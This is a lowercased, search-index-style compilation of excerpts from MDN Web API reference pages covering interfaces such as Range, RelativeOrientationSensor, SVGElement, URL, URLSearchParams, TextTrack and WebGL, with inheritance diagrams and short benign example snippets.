... main st.<br> dodge city, ks<br> 67801<br> usa</p> <hr> <p>nodes in the original address:</p> <ol id="log"></ol> javascript const address = document.getelementbyid('address'); const log = document.getelementbyid('log'); // log info address.childnodes.foreach(node => { const li = document.createelement('li'); li.textcontent = `${node.nodename}, ${node.nodevalue}`; log.appendchild(li); }); // highlight the street and city const startoffset = 2; // start at third node: 101 e.
... html <p id="content">0123456789</p> <p id="log"></p> javascript const element = document.getelementbyid('content'); const textnode = element.childnodes[0]; const range = document.createrange(); range.setstart(textnode, 0); // start at first character range.setend(textnode, 5); // end at fifth character document.getelementbyid('log').textcontent = range; result specifications specification ...
RelativeOrientationSensor - Web APIs
model.quaternion.fromarray(sensor.quaternion).inverse(); }); sensor.addeventlistener('error', error => { if (event.error.name == 'notreadableerror') { console.log("sensor is not available."); } }); sensor.start(); permissions example using orientation sensors requires requsting permissions for multiple device sensors.
... const sensor = new relativeorientationsensor(); promise.all([navigator.permissions.query({ name: "accelerometer" }), navigator.permissions.query({ name: "gyroscope" })]) .then(results => { if (results.every(result => result.state === "granted")) { sensor.start(); ...
... } else { console.log("no permissions to use relativeorientationsensor."); } }); specifications specification status comment orientation sensorthe definition of 'relativeorientationsensor' in that specification.
SVGDocument - Web APIs
svg document interface when an "svg" element is embedded inline as a component of a document from another namespace, such as when an "svg" element is embedded inline within an xhtml document, then an svgdocument object will not exist; instead, the root object in the document object hierarchy will be a document object of a different type, such as an htmldocument object.
... rootelement svgsvgelement the root "svg" in the document hierarchy.
... title domstring the title of a document as specified by the "title" sub-element of the "svg" root element (i.e., <svg><title>here is the title</title>...</svg>) url domstring the complete uri of the document.
SVGElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 11...
...1,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" te...
...xt-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties also inherits properties from: documentandelementeventhandlers, element, elementcssinlinestyle, globaleventhandlers, htmlorforeignelement, svgelementinstance svgelement.datasetread...
SVGGraphicsElement: paste event - Web APIs
the paste event is fired on an svggraphicselement when the user has initiated a "paste" action through the browser's user interface.
... example html <?xml version="1.0" encoding="utf-8"?> <svg viewbox="0 0 140 30" width="600" height="320" xmlns="http://www.w3.org/2000/svg"> <foreignobject x="5" y="-10" width="90" height="20"> <input xmlns="http://www.w3.org/1999/xhtml" value="copy this text"/> </foreignobject> <text x="5" y="30" id="element-to-paste-text" tabindex="1">paste it here</text> </svg> css input { font-size: 10px; width: 1...
...00%; height: 90%; box-sizing: border-box; border: 1px solid black; } javascript document.getelementbyid("element-to-paste-text").addeventlistener("paste", evt => { evt.target.textcontent = evt.clipboarddata.getdata("text/plain").touppercase(); evt.preventdefault(); }); result specifications specification status comment scalable vector graphics (svg) 2 candidate recommendation definition that the clipboard events apply to svg elements.
Screen.orientation - Web APIs
example var orientation = (screen.orientation || {}).type || screen.mozorientation || screen.msorientation; if (orientation === "landscape-primary") { console.log("that looks good."); } else if (orientation === "landscape-secondary") { console.log("mmmh...
... the screen is upside down!"); } else if (orientation === "portrait-secondary" || orientation === "portrait-primary") { console.log("mmmh...
... you should rotate your device to landscape"); } else if (orientation === undefined) { console.log("the orientation api isn't supported in this browser :("); } specifications specification status comment screen orientation apithe definition of 'orientation' in that specification.
ServiceWorkerGlobalScope - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 12.142857142857142%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-20 0 700 85" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#ff...
...f" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/workerglobalscope" target="_top"><rect x="151" y="1" width="170" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="236" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">workerglobalscope</text></a><polyline points="321,25 331,20 331,30 321,25" stroke="#d4dde4" fill="none"/><line x1="331" y1="25" x2="...
...361" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/serviceworkerglobalscope" target="_top"><rect x="361" y="1" width="240" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="481" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">serviceworkerglobalscope</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties serviceworkerglobalscope.clients read only contains the clients object associated with the service worker.
SourceBuffer - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventt...
...arget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/sourcebuffer" target="_top"><rect x="151" y="1" width="120" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="211" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">sourcebuffer</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties sourcebuffer.appendwindowend controls the timestamp for the end of the append window.
...this example was written by nick desaulniers and can be viewed live here (you can also download the source for further investigation.) var video = document.queryselector('video'); var asseturl = 'frag_bunny.mp4'; // need to be specific for blink regarding codecs // ./mp4info frag_bunny.mp4 | grep codec var mimecodec = 'video/mp4; codecs="avc1.42e01e, mp4a.40.2"'; if ('mediasource' in window && mediasource.istypesupported(mimecodec)) { var mediasource = new mediasource(); //console.log(mediasource.readystate); // closed video.src = url.createobjecturl(mediasource); mediasource.addeventlistener('sourceopen', sourceopen); } else { console.error('unsupported mime type or codec: ', mimecodec); } function sourceopen (_) { ...
StaticRange - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/abstractrange" target="_top"><rect x="1" y="1" width="130" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="66" y=...
..."30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">abstractrange</text></a><polyline points="131,25 141,20 141,30 131,25" stroke="#d4dde4" fill="none"/><line x1="141" y1="25" x2="171" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/staticrange" target="_top"><rect x="171" y="1" width="110" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="226" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">staticrange</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor staticrange() creates a new staticrange object given the staticrangeinit diction...
... methods staticrange.torange() returns a new range object which describes the same range as the source staticrange, but is "live" with values that change to reflect changes in the contents of the dom tree.
SyncEvent - Web APIs
WebAPISyncEvent
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 8.571428571428571%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-20 0 700 60" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text><...
.../a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/extendableevent" target="_top"><rect x="116" y="1" width="150" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="191" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">extendableevent</text></a><polyline points="266,25 276,20 276,30 266,25" stroke="#d4dde4" fill="none"/><line x1="276" y1="25" x2="306" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/syncevent" target="_top"><rect x="306" y="1" width="90" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="351" y="30" font-size="12px" fon...
...t-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">syncevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor syncevent.syncevent() creates a new syncevent object.
Text - Web APIs
WebAPIText
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#ff...
...f" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4d...
...de4"/><a xlink:href="/docs/web/api/characterdata" target="_top"><rect x="266" y="1" width="130" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="331" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">characterdata</text></a><polyline points="396,25 406,20 406,30 396,25" stroke="#d4dde4" fill="none"/><line x1="406" y1="25" x2="436" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/text" target="_top"><rect x="436" y="1" width="75" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="473.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">text</text></a></svg></d...
TextRange - Web APIs
WebAPITextRange
for example, expanding a "word" means that the words at both ends of the range will completely included in the range.
...such as, move("character",-1) means to move one character to the left.
... var range = document.selection.createrange(); var element = document.getelementbyid("test"); range.movetoelementtext(element); range.select(); // selected "sometexttobeselected" <!doctype html> <html> <head> <title>textrange example</title> </head> <body> <p id="test">sometexttobeselected</p> </body> </html> notes use textrange to operate the selection valid only under ie9.
TextTrack - Web APIs
WebAPITextTrack
if it doesn't have an id, then this value is an empty string ("").
... texttrack.label read only a human-readable domstring which contains the text track's label, if one is present; otherwise, this is an empty string (""), in which case a custom label may need to be generated by your code using other attributes of the track, if the track's label needs to be exposed to the user.
...for example, this can be "en-us" for united states english or "pt-br" for brazilian portuguese.
Touch.radiusX - Web APIs
WebAPITouchradiusX
<div id="src"> ...
... </div> var src = document.getelementbyid("src"); src.addeventlistener('touchstart', rotate); src.addeventlistener('touchmove', rotate); src.addeventlistener('touchend', rotate); function rotate (e) { var touch = e.changedtouches.item(0); // turn off default event handling e.preventdefault(); // rotate element 'src'.
... src.style.width = touch.radiusx * 2 + 'px'; src.style.height = touch.radiusy * 2 + 'px'; src.style.transform = "rotate(" + touch.rotationangle + "deg)"; }; specifications specification status comment touch events – level 2 draft non-stable version.
TouchEvent - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stro...
...ke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/uievent" target="_top"><rect x="116" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="153.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">uievent</text></a><polyline points="191,25 201,20 201,30 191,25" stroke="#d4dde4" fill="none"/><line x1="201" y1="25" x2="231" y2="25" stroke="#d4dde4"/><a x...
...link:href="/docs/web/api/touchevent" target="_top"><rect x="231" y="1" width="100" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="281" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">touchevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor touchevent() creates a touchevent object.
UIEvent.layerX - Web APIs
WebAPIUIEventlayerX
examples <html> <head> <title>pagex\pagey & layerx\layery example</title> <script type="text/javascript"> function showcoords(evt){ var form = document.forms.form_coords; var parent_id = evt.target.parentnode.id; form.parentid.value = parent_id; form.pagexcoords.value = evt.pagex; form.pageycoords.value = evt.pagey; form.layerxcoords.value = evt.layerx; form.layerycoords.value = evt.layery; } </script> <style type="text/css"> #d1 { border: solid blue 1px; paddin...
...g: 20px; } #d2 { position: absolute; top: 180px; left: 80%; right:auto; width: 40%; border: solid blue 1px; padding: 20px; } #d3 { position: absolute; top: 240px; left: 20%; width: 50%; border: solid blue 1px; padding: 10px; } </style> </head> <body onmousedown="showcoords(event)"> <p>to display the mouse coordinates please click anywhere on the page.</p> <div id="d1"> <span>this is an un-positioned div so clicking it will return layerx/layery values almost the same as pagex/pagey values.</span> </div> <div id="d2"> <span>this is a positioned div so clicking it will return layerx/layery values that are relative to the top-left corner of this positioned element.
...note the pagex\pagey properties still return the absolute position in the document, including page scrolling.</span> </div> <div id="d3"> <form name="form_coords" id="form1"> parent element id: <input type="text" name="parentid" size="7" /><br /> pagex:<input type="text" name="pagexcoords" size="7" /> pagey:<input type="text" name="pageycoords" size="7" /><br /> layerx:<input type="text" name="layerxcoords" size="7" /> layery:<input type="text" name="layerycoords" size="7" /> </form> </div> </body> </html> specification...
UIEvent.layerY - Web APIs
WebAPIUIEventlayerY
example <html> <head> <title>pagex\pagey & layerx\layery example</title> <script type="text/javascript"> function showcoords(evt){ var form = document.forms.form_coords; var parent_id = evt.target.parentnode.id; form.parentid.value = parent_id; form.pagexcoords.value = evt.pagex; form.pageycoords.value = evt.pagey; form.layerxcoords.value = evt.layerx; form.layerycoords.value = evt.layery; } </script> <style type="text/css"> #d1 { border: solid blue 1px; paddin...
...g: 20px; } #d2 { position: absolute; top: 180px; left: 80%; right:auto; width: 40%; border: solid blue 1px; padding: 20px; } #d3 { position: absolute; top: 240px; left: 20%; width: 50%; border: solid blue 1px; padding: 10px; } </style> </head> <body onmousedown="showcoords(event)"> <p>to display the mouse coordinates please click anywhere on the page.</p> <div id="d1"> <span>this is an un-positioned div so clicking it will return layerx/layery values almost the same as pagex/pagey values.</span> </div> <div id="d2"> <span>this is a positioned div so clicking it will return layerx/layery values that are relative to the top-left corner of this positioned element.
...note the pagex\pagey properties still return the absolute position in the document, including page scrolling.</span> </div> <div id="d3"> <form name="form_coords" id="form1"> parent element id: <input type="text" name="parentid" size="7" /><br /> pagex:<input type="text" name="pagexcoords" size="7" /> pagey:<input type="text" name="pageycoords" size="7" /><br /> layerx:<input type="text" name="layerxcoords" size="7" /> layery:<input type="text" name="layerycoords" size="7" /> </form> </div> </body> </html> specification...
UIEvent.pageY - Web APIs
WebAPIUIEventpageY
example <html> <head> <title>pagex\pagey & layerx\layery example</title> <script type="text/javascript"> function showcoords(evt){ var form = document.forms.form_coords; var parent_id = evt.target.parentnode.id; form.parentid.value = parent_id; form.pagexcoords.value = evt.pagex; form.pageycoords.value = evt.pagey; form.layerxcoords.value = evt.layerx; form.layerycoords.value = evt.layery; } </script> <style type="text/css"> #d1 { border: solid blue 1px; paddi...
...ng: 20px; } #d2 { position: absolute; top: 180px; left: 80%; right:auto; width: 40%; border: solid blue 1px; padding: 20px; } #d3 { position: absolute; top: 240px; left: 20%; width: 50%; border: solid blue 1px; padding: 10px; } </style> </head> <body onmousedown="showcoords(event)"> <p>to display the mouse coordinates please click anywhere on the page.</p> <div id="d1"> <span>this is an un-positioned div so clicking it will return layerx/layery values almost the same as pagex/pagey values.</span> </div> <div id="d2"> <span>this is a positioned div so clicking it will return layerx/layery values that are relative to the top-left corner of this positioned element.
...note the pagex\pagey properties still return the absolute position in the document, including page scrolling.</span> </div> <div id="d3"> <form name="form_coords"> parent element id: <input type="text" name="parentid" size="7" /><br /> pagex:<input type="text" name="pagexcoords" size="7" /> pagey:<input type="text" name="pageycoords" size="7" /><br /> layerx:<input type="text" name="layerxcoords" size="7" /> layery:<input type="text" name="layerycoords" size="7" /> </form> </div> </body> </html> specifications this pro...
URL() - Web APIs
WebAPIURLURL
examples // base urls let m = 'https://developer.mozilla.org'; let a = new url("/", m); // => 'https://developer.mozilla.org/' let b = new url(m); // => 'https://developer.mozilla.org/' new url('docs', b); // => 'https://developer.mozilla.org/docs' let d = new url('/docs', b); // => 'https://developer.mozilla.org/docs' new url('/docs', d); ...
... // => 'https://developer.mozilla.org/docs' new url('/docs', a); // => 'https://developer.mozilla.org/docs' new url('/docs', "https://developer.mozilla.org/fr-fr/toto"); // => 'https://developer.mozilla.org/docs' new url('/docs', ''); // raises a typeerror exception as '' is not a valid url new url('/docs'); // raises a typeerror exception as '/docs' is not a valid url new url('http://www.example.com', ); // => 'http://www.example.com/' new url('http://www.example.com', b); // => 'http://www.example.com/' new url("//foo.com", "http...
...s://example.com") // => 'https://foo.com' (see relative urls) specification specification status comment urlthe definition of 'url.url()' in that specification.
URL - Web APIs
WebAPIURL
usage notes the constructor takes a url parameter, and an optional base parameter to use as a base if the url parameter is a relative url: const url = new url('../cats', 'http://www.example.com/dogs'); console.log(url.hostname); // "www.example.com" console.log(url.pathname); // "/cats" url properties can be set to construct the url: url.hash = 'tabby'; console.log(url.href); // "http://www.example.com/cats#tabby" urls are encoded according to the rules found in rfc 3986.
... for instance: url.pathname = 'démonstration.html'; console.log(url.href); // "http://www.example.com/d%c3%a9monstration.html" the urlsearchparams interface can be used to build and manipulate the url query string.
... to get the search params from the current window's url, you can do this: // https://some.site/?id=123 const parsedurl = new url(window.location.href); console.log(parsedurl.searchparams.get("id")); // "123" the tostring() method of url just returns the value of the href property, so the constructor can be used to normalize and encode a url directly.
URLSearchParams.set() - Web APIs
params.set('baz', 3); params.tostring(); // "foo=1&bar=2&baz=3" below is a real-life example demonstrating how to create a url and set some search parameters.
...', atext.join('\n') ) if( bdebug ){ // display the key/value pairs for(var pair of theurl.searchparams.entries()) { console.debug(pair[0] + ' = \'' + pair[1] + '\''); } console.debug(theurl) } return theurl } var url = genurl( /(^\s*\/\/|\s*[^:]\/\/).*\s*$|\s*\/\*(.|\n)+?\*\/\s*$/gm // single/multi-line comments // /(^\s*\/\/.*|\s*[^:]\/\/.*)/g // single-line comments ,[ "these should work:", "", "// eslint-disable-next-line no-unused-vars", "lockpref( 'keyword.url',\t\t'https://duckduckgo.com/html/?q=!+' )\t// test", "/*", " * bla bla ", "*/", "", "/* bla bla */", "", "// bla bla ", "", "these shouldn\'t work:", "console.log(\"http://foo.co.uk/\")", "var url = \"http://regexr.com/foo.html?q=bar\"", "alert(\"https://mediatemple...
....net\")", ] , true ) console.info( url, url.tostring() ) // window.open( url, 'regex_site' ) specifications specification status comment urlthe definition of 'set()' in that specification.
URLSearchParams - Web APIs
examples var paramsstring = "q=urlutils.searchparams&topic=api"; var searchparams = new urlsearchparams(paramsstring); //iterate the search parameters.
... for (let p of searchparams) { console.log(p); } searchparams.has("topic") === true; // true searchparams.get("topic") === "api"; // true searchparams.getall("topic"); // ["api"] searchparams.get("foo") === null; // true searchparams.append("topic", "webdev"); searchparams.tostring(); // "q=urlutils.searchparams&topic=api&topic=webdev" searchparams.set("topic", "more webdev"); searchparams.tostring(); // "q=urlutils.searchparams&topic=more+webdev" searchparams.delete("topic"); searchparams.tostring(); // "q=urlutils.searchparams" gotchas the urlsearchparams constructor does not parse full urls.
... var paramsstring1 = "http://example.com/search?query=%40"; var searchparams1 = new urlsearchparams(paramsstring1); searchparams1.has("query"); // false searchparams1.has("http://example.com/search?query"); // true searchparams1.get("query"); // null searchparams1.get("http://example.com/search?query"); // "@" (equivalent to decodeuricomponent('%40')) var paramsstring2 = "?query=value"; var searchparams2 = new urlsearchparams(paramsstring2); searchparams2.has("query"); // true var url = new url("http://example.com/search?query=%40"); var searchparams3 = new urlsearchparams(url.search); searchparams3.has("query") // true specifications specification status comment urlthe definition of...
USBInTransferResult - Web APIs
usbintransferresult.statusread only returns the status of the transfer request, one of: "ok" - the transfer was successful.
... "stall" - the device indicated an error by generating a stall condition on the endpoint.
... "babble" - the device responded with more data than was expected.
USBIsochronousInTransferPacket - Web APIs
usbisochronousintransferpacket.statusread only read only returns the status of the transfer request, one of: "ok" - the transfer was successful.
... "stall" - the device indicated an error by generating a stall condition on the endpoint.
... "babble" - the device responded with more data than was expected.
VideoTrack.label - Web APIs
WebAPIVideoTracklabel
otherwise, an empty string ("") is returned.
... for example, a track whose kind is "sign" might have a label such as "a sign-language interpretation.".
... function gettracklist(el) { var tracklist = []; const wantedkinds = [ "main", "alternative", "commentary" ]; el.videotracks.foreach(function(track) { if (wantedkinds.includes(track.kind)) { tracklist.push({ id: track.id, kind: track.kind, label: track.label }); } }); return tracklist; } the resulting tracklist contains an array of video tracks whose kind is one of those in the array wantedkinds, with each entry providing the track's id, kind, and label.
Videotrack.language - Web APIs
syntax var videotracklanguage = videotrack.language; value a domstring specifying the bcp 47 (rfc 5646) format language tag of the primary language used in the video track, or an empty string ("") if the language is not specified or known, or if the track doesn't contain speech.
... for example, if the primary language used in the track is united states english, this value would be "en-us".
... for brazilian portuguese, the value would be "pt-br".
WEBGL_compressed_texture_astc.getSupportedProfiles() - Web APIs
currently, this can be: "ldr": low dynamic range.
... "hdr": high dynamic range.
... examples var ext = gl.getextension('webgl_compressed_texture_astc'); ext.getsupportedprofiles(); // ["ldr"] specifications specification status comment webgl_compressed_texture_astcthe definition of 'webgl_compressed_texture_astc' in that specification.
WebGLContextEvent - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monosp...
...ace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/webglcontextevent" target="_top"><rect x="116" y="1" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="201" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">webglcontextevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface inherits properties from its parent interface, event.
... examples with the help of the webgl_lose_context extension, you can simulate the webglcontextlost and webglcontextrestored events: var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); canvas.addeventlistener('webglcontextlost', function(e) { console.log(e); }, false); gl.getextension('webgl_lose_context').losecontext(); // webglcontextevent event with type "webglcontextlost" is logged.
Basic scissoring - Web APIs
<p>result of of scissoring.</p> <canvas>your browser does not seem to support html5 canvas.</canvas> body { text-align : center; } canvas { display : block; width : 280px; height : 210px; margin : auto; padding : 0; border : none; background-color : black; } window.addeventlistener("load", function setupwebgl (evt) { "use strict" window.removeeventlistener(evt.type, setupwebgl, false); var paragraph = document.queryselector("p"); var canvas = document.queryselector("canvas"); // the following two lines set the size (in css pixels) of // the drawing buffer to be identical to the size of the // canvas html element, as determined by css.
... canvas.width = canvas.clientwidth; canvas.height = canvas.clientheight; var gl = canvas.getcontext("webgl") || canvas.getcontext("experimental-webgl"); if (!gl) { paragraph.innerhtml = "failed to get webgl context.
... " + "your browser or device may not support webgl."; return; } gl.viewport(0, 0, gl.drawingbufferwidth, gl.drawingbufferheight); // enable scissoring operation and define the position and // size of the scissoring area.
Canvas size and WebGL - Web APIs
<p>compare the two canvases.</p> <canvas>your browser does not seem to support html5 canvas.</canvas> <canvas>your browser does not seem to support html5 canvas.</canvas> body { text-align : center; } canvas { display : inline-block; width : 120px; height : 80px; margin : auto; padding : 0; border : none; background-color : black; } window.addeventlistener("load", function() { "use strict" var firstcanvas = document.getelementsbytagname("canvas")[0], secondcanvas = document.getelementsbytagname("canvas")[1]; firstcanvas.width = firstcanvas.clientwidth; firstcanvas.height = firstcanvas.clientheight; [firstcanvas, secondcanvas].foreach(function(canvas) { var gl = canvas.getcontext("webgl") || canvas.getcontext("experimental-webg...
...l"); if (!gl) { document.queryselector("p").innerhtml = "failed to get webgl context.
... " + "your browser or device may not support webgl."; return; } gl.viewport(0, 0, gl.drawingbufferwidth, gl.drawingbufferheight); gl.enable(gl.scissor_test); gl.scissor(30, 10, 60, 60); gl.clearcolor(1.0, 1.0, 0.0, 1.0); gl.clear(gl.color_buffer_bit); }); }, false); the source code of this example is also available on github.
Color masking - Web APIs
<p>tinting the displayed colors with color masking.</p> <canvas>your browser does not seem to support html5 canvas.</canvas> <button id="red-toggle">on</button> <button id="green-toggle">on</button> <button id="blue-toggle">on</button> body { text-align : center; } canvas { display : block; width : 280px; height : 210px; margin : auto; padding : 0; border : none; background-color : black; } button { display : inline-block; font-family : serif; font-size : inherit; font-weight : 900; color : white; marg...
...in : auto; padding : 0.6em 1.2em; } #red-toggle { background-color : red; } #green-toggle { background-color : green; } #blue-toggle { background-color : blue; } window.addeventlistener("load", function setupanimation (evt) { "use strict" window.removeeventlistener(evt.type, setupanimation, false); var canvas = document.queryselector("canvas"); var gl = canvas.getcontext("webgl") || canvas.getcontext("experimental-webgl"); if (!gl) { document.queryselector("p").innerhtml = "failed to get webgl context." + "your browser or device may not support webgl."; return; } gl.viewport(0, 0, gl.drawingbufferwidth, gl.drawingbufferheight); var timer = setinterval(drawanimation, 1000); var mask = [true, true, true]; var redtoggle = document.
